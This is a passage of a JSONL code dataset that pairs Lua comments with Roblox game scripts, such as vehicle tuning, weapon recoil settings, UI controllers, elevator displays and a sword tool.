Vector3.new()\n\t\telse\n\t\t\tlocal hit, position, normal = Raycast.new(car.Chassis.Position, car.Chassis.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value)\n\t\t\tif hit and hit.CanCollide then\n\t\t\t\tbodyPosition.MaxForce = Vector3.new(mass / 5, math.huge, mass / 5)\n\t\t\t\tbodyPosition.Position = (CFrame.new(position, position + normal) * CFrame.new(0, 0, -stats.Height.Value + 0.5)).p\n\t\t\t\tbodyGyro.MaxTorque = Vector3.new(math.huge, 0, math.huge)\n\t\t\t\tbodyGyro.CFrame = CFrame.new(position, position + normal) * CFrame.Angles(-math.pi/2, 0, 0)\n\t\t\telse\n\t\t\t\tbodyPosition.MaxForce = Vector3.new()\n\t\t\t\tbodyGyro.MaxTorque = Vector3.new()\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {14,18}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {9,12}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .65\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 2.55\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.6\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.95\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 47\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = .75\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.05\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--[[ icon_controller:header\n## Functions\n\n#### setGameTheme\n```lua\nIconController.setGameTheme(theme)\n```\nSets the default theme which is applied to all existing and future icons.\n\n----\n#### setDisplayOrder\n```lua\nIconController.setDisplayOrder(number)\n```\nChanges the DisplayOrder of the TopbarPlus ScreenGui to the given value.\n\n----\n#### setTopbarEnabled\n```lua\nIconController.setTopbarEnabled(bool)\n```\nWhen set to ``false``, hides all icons created with TopbarPlus. This can also be achieved by calling ``starterGui:SetCore(\"TopbarEnabled\", false)``.\n\n----\n#### setGap\n```lua\nIconController.setGap(integer, alignment)\n```\nDefines the offset width (i.e. gap) between each icon for the given alignment, ``left``, ``mid``, ``right``, or all alignments if not specified. \n\n----\n#### setLeftOffset\n```lua\nIconController.setLeftOffset(integer)\n```\nDefines the offset from the left side of the screen to the nearest left-set icon. \n\n----\n#### setRightOffset\n```lua\nIconController.setRightOffset(integer)\n```\nDefines the offset from the right side of the screen to the nearest right-set icon. \n\n----\n#### updateTopbar\n```lua\nIconController.updateTopbar()\n```\nDetermines how icons should be positioned on the topbar and moves them accordingly. \n\n----\n#### clearIconOnSpawn\n```lua\nIconController.clearIconOnSpawn(icon)\n```\nCalls destroy on the given icon when the player respawns. This is useful for scenarious where you wish to cleanup icons that are constructed within a Gui with ``ResetOnSpawn`` set to ``true``. For example:\n\n```lua\n-- Place at the bottom of your icon creator localscript\nlocal icons = IconController.getIcons()\nfor _, icon in pairs(icons) do\n\tIconController.clearIconOnSpawn(icon)\nend\n```\n\n----\n#### getIcons\n```lua\nlocal arrayOfIcons = IconController.getIcons()\n```\nReturns all icons as an array.\n\n----\n#### getIcon\n```lua\nlocal icon = IconController.getIcon(name)\n```\nReturns the icon with the given name (or ``false`` if not found). If multiple icons have the same name, then one will be returned randomly.\n\n----\n#### disableHealthbar\n```lua\nIconController.disableHealthbar(bool)\n```\nHides the fake healthbar (if currently visible) and prevents it becoming visible again (which normally occurs when the player takes damage).\n\n----\n\n\n\n## Properties\n#### mimicCoreGui\n```lua\nlocal bool = IconController.mimicCoreGui --[default: 'true']\n```\nSet to ``false`` to have the topbar persist even when ``game:GetService(\"StarterGui\"):SetCore(\"TopbarEnabled\", false)`` is called.\n\n----\n#### controllerModeEnabled\n{read-only}\n```lua\nlocal bool = IconController.controllerModeEnabled\n```\n\n----\n#### leftGap\n{read-only}\n```lua\nlocal gapNumber = IconController.leftGap --[default: '12']\n```\n\n----\n#### midGap\n{read-only}\n```lua\nlocal gapNumber = IconController.midGap --[default: '12']\n```\n\n----\n#### rightGap\n{read-only}\n```lua\nlocal gapNumber = IconController.rightGap --[default: '12']\n```\n\n----\n#### leftOffset\n{read-only}\n```lua\nlocal offset = IconController.leftGap --[default: '0']\n```\n\n----\n#### rightOffset\n{read-only}\n```lua\nlocal offset = IconController.rightGap --[default: '0']\n```\n--]]", "completion": "\n\n\n"} +{"prompt": "-- Images", "completion": "\nlocal DEFAULT_IMAGE = \"rbxassetid://5131576693\"\nlocal MOBILE_IMAGE = \"rbxassetid://5131576829\"\nlocal CONSOLE_IMAGE = \"rbxassetid://5131577063\"\n\n"} +{"prompt": "-- services", "completion": "\n\nlocal TweenService\t= game:GetService(\"TweenService\")\nlocal Workspace\t\t= game:GetService(\"Workspace\")\nlocal Debris\t\t= game:GetService(\"Debris\")\n"} +{"prompt": "-- If an expire time was provided, this message is displayed.\n-- %TIME% is replaced with a string such as \"23 hours, 30 minutes\" ", "completion": "\nlocal MESSAGE_BAN = \"You are banned for %TIME%.\""} +{"prompt": "-- Sounds", "completion": "\nlocal footstepsSound = rootPart:WaitForChild(\"Footsteps\")\n"} +{"prompt": "-- Create component", "completion": "\nlocal LoadingSpinner = Roact.PureComponent:extend 'LoadingSpinner'\n\nfunction LoadingSpinner:init()\n self.instance = Roact.createRef()\nend\n\nfunction LoadingSpinner:didMount()\n coroutine.wrap(function ()\n self.Running = true\n while self.Running and self.instance.current do\n local Spinner = self.instance.current\n Spinner.Rotation = (Spinner.Rotation + 12) % 360\n wait(0.01)\n end\n end)()\nend\n\nfunction LoadingSpinner:willUnmount()\n self.Running = nil\nend\n\nfunction LoadingSpinner:render()\n\n -- Prepare props\n local props = Support.Merge({}, self.props or {}, {\n [Roact.Ref] = self.instance,\n Image = 'rbxassetid://1932255814',\n AspectRatio = 1\n })\n\n -- Display component in wrapper\n return new(ImageLabel, props)\n\nend\n\nreturn LoadingSpinner\n"} +{"prompt": "--[[--------------------------------------------------------------------\n-- Notes:\n-- * intended to 'imitate' llex.c code; performance is not a concern\n-- * tokens are strings; code structure largely retained\n-- * deleted stuff (compared to llex.c) are noted, comments retained\n-- * nextc() returns the currently read character to simplify coding\n-- here; next() in llex.c does not return anything\n-- * compatibility code is marked with \"--#\" comments\n--\n-- Added:\n-- * luaX:chunkid (function luaO_chunkid from lobject.c)\n-- * luaX:str2d (function luaO_str2d from lobject.c)\n-- * luaX.LUA_QS used in luaX:lexerror (from luaconf.h)\n-- * luaX.LUA_COMPAT_LSTR in luaX:read_long_string (from luaconf.h)\n-- * luaX.MAX_INT used in luaX:inclinenumber (from llimits.h)\n--\n-- To use the lexer:\n-- (1) luaX:init() to initialize the lexer\n-- (2) luaX:setinput() to set the input stream to lex\n-- (3) call luaX:next() or luaX:luaX:lookahead() to get tokens,\n-- until \"TK_EOS\": luaX:next()\n-- * since EOZ is returned as a string, be careful when regexp testing\n--\n-- Not implemented:\n-- * luaX_newstring: not required by this Lua implementation\n-- * buffer MAX_SIZET size limit (from llimits.h) test not implemented\n-- in the interest of performance\n-- * locale-aware number handling is largely redundant as Lua's\n-- tonumber() function is already capable of this\n--\n-- Changed in 5.1.x:\n-- * TK_NAME token order moved down\n-- * string representation for TK_NAME, TK_NUMBER, TK_STRING changed\n-- * token struct renamed to lower case (LS -> ls)\n-- * LexState struct: removed nestlevel, added decpoint\n-- * error message functions have been greatly simplified\n-- * token2string renamed to luaX_tokens, exposed in llex.h\n-- * lexer now handles all kinds of newlines, including CRLF\n-- * shbang first line handling removed from luaX:setinput;\n-- it is now done in lauxlib.c (luaL_loadfile)\n-- * next(ls) macro renamed to nextc(ls) due to new luaX_next function\n-- * EXTRABUFF and MAXNOCHECK removed due to lexer changes\n-- * checkbuffer(ls, len) macro deleted\n-- * luaX:read_numeral now has 3 support functions: luaX:trydecpoint,\n-- luaX:buffreplace and (luaO_str2d from lobject.c) luaX:str2d\n-- * luaX:read_numeral is now more promiscuous in slurping characters;\n-- hexadecimal numbers was added, locale-aware decimal points too\n-- * luaX:skip_sep is new; used by luaX:read_long_string\n-- * luaX:read_long_string handles new-style long blocks, with some\n-- optional compatibility code\n-- * luaX:llex: parts changed to support new-style long blocks\n-- * luaX:llex: readname functionality has been folded in\n-- * luaX:llex: removed test for control characters\n--\n--------------------------------------------------------------------]]", "completion": "\n\nlocal luaZ = require(script.Parent.LuaZ)\n\nlocal luaX = {}\n"} +{"prompt": "-- Determine the gun elevation and tilt", "completion": "\nfunction determineNewDirections(targetVector)\n\tlocal targElev = 0;\n\tlocal targRot = 0;\n\t\n\tlocal turretMain = \tparts.TurretRing2;\n\t\n\t-- Vector normal to the plane which is the turret ring\n\tlocal turretNormal = turretMain.CFrame.lookVector;\n\t\n\tlocal angleFromNormal = turretNormal:Dot(targetVector);\n\t\n\t-- Determine gun elevation\n\ttargElev = math.pi/2 - math.acos(angleFromNormal);\n\t\n\t-- Projection of target vector onto the turret plane\n\tlocal targetProjection = (targetVector - (angleFromNormal*turretNormal)).unit;\t\n\t\n\tlocal forwardVector = ( (turretMain.CFrame - turretMain.CFrame.p) -- Orientation only of brick\n\t\t* CFrame.new(0, -1, 0)).p; -- Translated down 1\n\t\n\t-- Determine angle between forward vector and the projected target vector\n\ttargRot = math.acos(forwardVector:Dot(targetProjection));\n\t\n\t-- Determine the sign of the angle\n\tlocal vectorCross = forwardVector:Cross(targetProjection);\n\t\n\t-- If the cross product is opposite to the normal vector, make the angle negative\n\tif (vectorCross:Dot(turretNormal) < 0) then\n\t\ttargRot = -targRot;\n\tend\n\t\n\t-- Put rotation and elevation into an array\n\tlocal rotations = {};\n\trotations[1] = targElev;\n\trotations[2] = targRot;\n\t\n\treturn rotations;\nend\n\nfunction sign(input)\n\tif (input < 0) then\n\t\treturn -1;\n\telse\n\t\treturn 1;\n\tend\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.997\n elseif val == -1 then\n\t\tThis.Display.ARW1.UP.Transparency = 0.997\n\t\tThis.Display.ARW1.MID.Transparency = 0\n\t\tThis.Display.ARW1.DOWN.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.UP.Transparency = 0.997\n\t\tThis.Display.ARW1.MID.Transparency = 0.997\n\t\tThis.Display.ARW1.DOWN.Transparency = 0.997\n end\nend)\n"} +{"prompt": "--It tells the script which sound to use. If you want you can rename the sound into the name you want. Like for an example. You want a drink sound. You can rename it sip or slurp... :P", "completion": "\n"} +{"prompt": "--[[ Public API ]]", "completion": "--\nfunction DPad:Enable()\n\tDPadFrame.Visible = true\nend\n\nfunction DPad:Disable()\n\tDPadFrame.Visible = false\n\tOnInputEnded()\nend\n\nfunction DPad:Create(parentFrame)\n\tif DPadFrame then\n\t\tDPadFrame:Destroy()\n\t\tDPadFrame = nil\n\tend\n\t\n\tlocal position = UDim2.new(0, 10, 1, -230)\n\tDPadFrame = Instance.new('Frame')\n\tDPadFrame.Name = \"DPadFrame\"\n\tDPadFrame.Active = true\n\tDPadFrame.Visible = false\n\tDPadFrame.Size = UDim2.new(0, 192, 0, 192)\n\tDPadFrame.Position = position\n\tDPadFrame.BackgroundTransparency = 1\n\t\n\tlocal smArrowSize = UDim2.new(0, 23, 0, 23)\n\tlocal lgArrowSize = UDim2.new(0, 64, 0, 64)\n\tlocal smImgOffset = Vector2.new(46, 46)\n\tlocal lgImgOffset = Vector2.new(128, 128)\n\t\n\tlocal bBtn = createArrowLabel(\"BackButton\", UDim2.new(0.5, -32, 1, -64), lgArrowSize, Vector2.new(0, 0), lgImgOffset)\n\tlocal fBtn = createArrowLabel(\"ForwardButton\", UDim2.new(0.5, -32, 0, 0), lgArrowSize, Vector2.new(0, 258), lgImgOffset)\n\tlocal lBtn = createArrowLabel(\"LeftButton\", UDim2.new(0, 0, 0.5, -32), lgArrowSize, Vector2.new(129, 129), lgImgOffset)\n\tlocal rBtn = createArrowLabel(\"RightButton\", UDim2.new(1, -64, 0.5, -32), lgArrowSize, Vector2.new(0, 129), lgImgOffset)\n\tlocal jumpBtn = createArrowLabel(\"JumpButton\", UDim2.new(0.5, -32, 0.5, -32), lgArrowSize, Vector2.new(129, 0), lgImgOffset)\n\tlocal flBtn = createArrowLabel(\"ForwardLeftButton\", UDim2.new(0, 35, 0, 35), smArrowSize, Vector2.new(129, 258), smImgOffset)\n\tlocal frBtn = createArrowLabel(\"ForwardRightButton\", UDim2.new(1, -55, 0, 35), smArrowSize, Vector2.new(176, 258), smImgOffset)\n\tflBtn.Visible = false\n\tfrBtn.Visible = false\n\t\n\t-- input connections\n\tjumpBtn.InputBegan:connect(function(inputObject)\n\t\tMasterControl:DoJump()\n\tend)\n\t\n\tlocal movementVector = Vector3.new(0,0,0)\n\tlocal function normalizeDirection(inputPosition)\n\t\tlocal jumpRadius = jumpBtn.AbsoluteSize.x/2\n\t\tlocal centerPosition = getCenterPosition()\n\t\tlocal direction = Vector2.new(inputPosition.x - centerPosition.x, inputPosition.y - centerPosition.y)\n\t\t\n\t\tif direction.magnitude > jumpRadius then\n\t\t\tlocal angle = ATAN2(direction.y, direction.x)\n\t\t\tlocal octant = (FLOOR(8 * angle / (2 * PI) + 8.5)%8) + 1\n\t\t\tmovementVector = COMPASS_DIR[octant]\n\t\tend\n\t\t\n\t\tif not flBtn.Visible and movementVector == COMPASS_DIR[7] then\n\t\t\tflBtn.Visible = true\n\t\t\tfrBtn.Visible = true\n\t\tend\n\tend\n\t\n\tDPadFrame.InputBegan:connect(function(inputObject)\n\t\tif TouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then\n\t\t\treturn\n\t\tend\n\t\t\n\t\tMasterControl:AddToPlayerMovement(-movementVector)\n\t\t\n\t\tTouchObject = inputObject\n\t\tnormalizeDirection(TouchObject.Position)\n\t\t\n\t\tMasterControl:AddToPlayerMovement(movementVector)\n\tend)\n\t\n\tDPadFrame.InputChanged:connect(function(inputObject)\n\t\tif inputObject == TouchObject then\n\t\t\tMasterControl:AddToPlayerMovement(-movementVector)\n\t\t\tnormalizeDirection(TouchObject.Position)\n\t\t\tMasterControl:AddToPlayerMovement(movementVector)\n\t\t\tMasterControl:SetIsJumping(false)\n\t\tend\n\tend)\n\t\n\tOnInputEnded = function()\n\t\tTouchObject = nil\n\t\tflBtn.Visible = false\n\t\tfrBtn.Visible = false\n\t\t\n\t\tMasterControl:AddToPlayerMovement(-movementVector)\n\t\tmovementVector = Vector3.new(0, 0, 0)\n\tend\n\t\n\tDPadFrame.InputEnded:connect(function(inputObject)\n\t\tif inputObject == TouchObject then\n\t\t\tOnInputEnded()\n\t\tend\n\tend)\n\t\n\tGuiService.MenuOpened:connect(function()\n\t\tif TouchObject then\n\t\t\tOnInputEnded()\n\t\tend\n\tend)\n\t\n\tDPadFrame.Parent = parentFrame\nend\n\nreturn DPad\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t"} +{"prompt": "-- types", "completion": "\ntype dictonary = {\n\t[any]: any\n}\n\ntype callback = () -> ()\n"} +{"prompt": "-- More to come soon....", "completion": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"} +{"prompt": "-- ROBLOX deviation: config does not have StackTraceConfig type annotation", "completion": "\nlocal function formatPaths(config, relativeTestPath, line: string): string\n\t-- ROBLOX deviation: we don't do any formatting of paths in Lua to align with upstream\n\treturn line\nend\n\nfunction getStackTraceLines(stack: string, options: StackTraceOptions): { string }\n\tif options == nil then\n\t\toptions = { noCodeFrame = false, noStackTrace = false }\n\tend\n\treturn removeInternalStackEntries(string.split(stack, \"\\n\"), options)\nend\n\nfunction formatStackTrace(stack: string, config, options: StackTraceOptions, testPath): string\n\tlocal lines = getStackTraceLines(stack, options)\n\n\tlocal relativeTestPath = nil\n\tif testPath then\n\t\trelativeTestPath = \"unsupported\"\n\tend\n\n\tlocal stacktrace = table.concat(\n\t\tArray.map(Array.filter(lines, Boolean), function(line)\n\t\t\treturn STACK_INDENT .. formatPaths(config, relativeTestPath, trimPaths(line))\n\t\tend),\n\t\t\"\\n\"\n\t)\n\n\treturn string.format(\"\\n%s\", stacktrace)\nend\n"} +{"prompt": "--[[**\n\t\twraps a callback in an assert with checkArgs\n\n\t\t@param callback The function to wrap\n\t\t@param checkArgs The functon to use to check arguments in the assert\n\n\t\t@returns A function that first asserts using checkArgs and then calls callback\n\t**--]]", "completion": "\n\tfunction t.wrap(callback, checkArgs)\n\t\tassert(checkWrap(callback, checkArgs))\n\t\treturn function(...)\n\t\t\tassert(checkArgs(...))\n\t\t\treturn callback(...)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Admins List --", "completion": "\n\nlocal Owners = {\"Put Name Here\"} --Has no limitations but can only be given through this script here\nlocal SuperAdmins = {\"Put Name Here\"} --Desc when done\nlocal Admins = {\"Put Name Here\"} --Desc when done\nlocal Mods = {\"Put Name Here\"} --Desc when done\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 4387\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3\t\t,\n\t --[[Length]]\t\t10\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .6\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- listen to touches from each part", "completion": "\nconnectPart(center)\nconnectPart(top)\nconnectPart(bottom)\nconnectPart(left)\nconnectPart(right)\nconnectPart(front)\nconnectPart(back)\n\nfunction rebuildStud(stud, cf)\n\tstud.CFrame = cf\n\tstud.Parent = beacon\n\tstud:makeJoints()\nend\n"} +{"prompt": "----- MAGIC NUMBERS ABOUT THE TOOL -----\n-- How much damage a bullet does", "completion": "\nlocal Damage = 10"} +{"prompt": "-- Register singletons", "completion": "\nfor _, instance in pairs(ReplicatedStorage.SingletonComponents:GetChildren()) do\n\trecsCore:addSingleton(require(instance))\nend\n\nrecsCore:registerComponentsInInstance(ReplicatedStorage.SharedComponents)\nrecsCore:registerComponentsInInstance(ReplicatedStorage.Components)\nrecsCore:registerSystemsInInstance(ReplicatedStorage.SharedSystems)\nrecsCore:registerSystemsInInstance(ReplicatedStorage.Systems)\nrecsCore:registerSteppers(Steppers)\nrecsCore:start()\n"} +{"prompt": "-- Ensure tool mode is enabled, auto-updating is enabled, and version is outdated", "completion": "\nif not (Tool:IsA 'Tool' and Tool.AutoUpdate.Value and IsVersionOutdated(Tool.Version.Value)) then\n\treturn;\nend;\n"} +{"prompt": "-- math, thx roblox wiki", "completion": "\nfunction lerp(a, b, t)\n\treturn a * (1-t) + (b*t)\nend\n\n"} +{"prompt": "-- << LOCAL FUNCTIONS >>", "completion": "\nlocal function checkPrefix(character, pdata)\n\tlocal incorrectPrefixes = {\n\t\t[\":\"] = true;\n\t}\n\tif main.infoOnAllCommands.Prefixes[character] or character == pdata.Prefix or (settings.WarnIncorrectPrefix and incorrectPrefixes[character]) then --Included the last argument as new players confuse ; with :\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n\n\n"} +{"prompt": "--Death Beam--", "completion": "\n\nfunction TriggerActiveDamaging(player, hit, dmg, tags, skin_name, ability_name, hit_type, damage_master_values)\n\t\nend\n\nreturn TriggerActiveDamaging\n"} +{"prompt": "-- 1Topcop", "completion": "\n\nbin = script.Parent\n\nopenTime = 1\ncloseTime = 0\n\nopenState = bin.DoorScript.open\n\nfunction touch(hit)\n\tif hit.Parent == nil then return end\n\tlocal p = game.Players:playerFromCharacter(hit.Parent)\n\tif p ~= nil then\n\t\tif openState.Value then\n\t\t\tcTime = openTime -- Prolong open time\n\t\telse\n\t\t\topenState.Value = true\n\t\t\tcTime = openTime\n\t\t\twhile cTime > 0 do\n\t\t\t\twait(0.1)\n\t\t\t\tcTime = cTime - 0.1\n\t\t\tend\n\t\t\topenState.Value = false\n\t\tend\n\tend\nend\n\nbin.trigger1.Touched:connect(touch)\nbin.trigger2.Touched:connect(touch)\n"} +{"prompt": "--- Same as indexing, but uses an incremented number as a key.\n-- @param task An item to clean\n-- @treturn number taskId", "completion": "\nfunction Maid:GiveTask(task)\n\tassert(task, \"Task cannot be false or nil\")\n\n\tlocal taskId = (#self._tasks + 1)\n\tself[taskId] = task\n\n\tif (type(task) == \"table\" and (not task.Destroy)) then\n\t\twarn(\"[Maid.GiveTask] - Gave table task without .Destroy\\n\\n\" .. debug.traceback())\n\tend\n\n\treturn taskId\nend\n\n"} +{"prompt": "-- Connecter les \u00e9v\u00e9nements pour les effets de mouvement", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(input)\n\tif input.KeyCode == Enum.KeyCode.Space then\n\t\taddRecoil(Vector3.new(0, 0, -2))\n\tend\nend)\n\ngame:GetService(\"RunService\").RenderStepped:Connect(function()\n\taddSwing(Vector3.new(math.sin(workspace.DistributedGameTime * 2) * 0.01, 0, 0))\n\tif humanoid and humanoid.Health > 0 then\n\t\tupdateCamera()\n\tend\nend)\n"} +{"prompt": "--cam.FieldOfView = 80", "completion": "\nlocal part = Instance.new(\"Part\")\npart.Anchored = true\npart.CanCollide = false\npart.Transparency = 0.5\npart.BrickColor = BrickColor.new(\"Pastel light blue\")\npart.TopSurface = \"Smooth\"\npart.BottomSurface = \"Smooth\"\npart.formFactor = \"Custom\"\npart.Size = Vector3.new(.2,1.2,.2)\nlocal mesh = Instance.new(\"BlockMesh\")\nmesh.Scale = Vector3.new(.4,2,.4)\nmesh.Parent = part\nwait()\n\nwhile true do\nfor i = 1, amount do\n\twait(.03)\n\tlocal drop = part:Clone()"} +{"prompt": "-- Where applicable\n-- a = amplitude\n-- p = period", "completion": "\n\nlocal sin, cos, asin = math.sin, math.cos, math.asin\n\nlocal function Linear(t, b, c, d)\n\treturn c * t / d + b\nend\n\nlocal function Smooth(t, b, c, d)\n\tt = t / d\n\treturn c * t * t * (3 - 2 * t) + b\nend\n\nlocal function Smoother(t, b, c, d)\n\tt = t / d\n\treturn c * t * t * t * (t * (6 * t - 15) + 10) + b\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(Elevator.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n\t--custom indicator code--\n\tChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveColour) or BrickColor.new(InactiveColour))\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Tweening storm position/radius variables", "completion": "\nlocal stormPosTweenValue = Instance.new(\"Vector3Value\")\nstormPosTweenValue.Parent = script\nlocal stormPosTween = nil\nlocal stormPosSetToState = false\nlocal stormRadiusTweenValue = Instance.new(\"NumberValue\")\nstormRadiusTweenValue.Parent = script\nlocal stormRadiusTween = nil\nlocal stormRadiusSetToState = false\n\nlocal _baseLighting = {}\nlocal _stormLighting = {\n\tFogStart = 50,\n\tFogEnd = 500,\n\tBrightness = 0,\n\tExposureCompensation = -1.9,\n}\n\nfor k, _ in pairs(_stormLighting) do\n\t_baseLighting[k] = Lighting[k]\nend\n\nlocal function _getAdjustedTime(time)\n\treturn time * _DEBUG_TIME_SCALE + _DEBUG_START_TIME\nend\n\nlocal function _onStateUpdate(state)\n\t_state = state\nend\n"} +{"prompt": "--[[for i = 1, 16 do\n\tb.VertexColor = Vector3.new((b.VertexColor.X - 15/255), (b.VertexColor.Y - 15/255), 0)\n\twait(0.03) \nend]]", "completion": "\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 10\n\n\nlocal slash_damage = 11\nlocal lunge_damage = 22\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"http://www.roblox.com/asset/?id=11998777\"\nSlashSound.Pitch = .8\nSlashSound.Parent = sword\n\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"http://www.roblox.com/asset/?id=11998796\"\nLungeSound.Pitch = .8\nLungeSound.Parent = sword\n\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"http://www.roblox.com/asset/?id=11998770\"\nLungeSound.Pitch = .8\nUnsheathSound.Parent = sword\n\n\n\n\n\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tTool.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 0.7\n\tTool.Parent.Torso[\"Right Shoulder\"].DesiredAngle = 3.6\n\twait(.1)\n\tTool.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 1\n\nend\n\nfunction lunge()\n\tdamage = 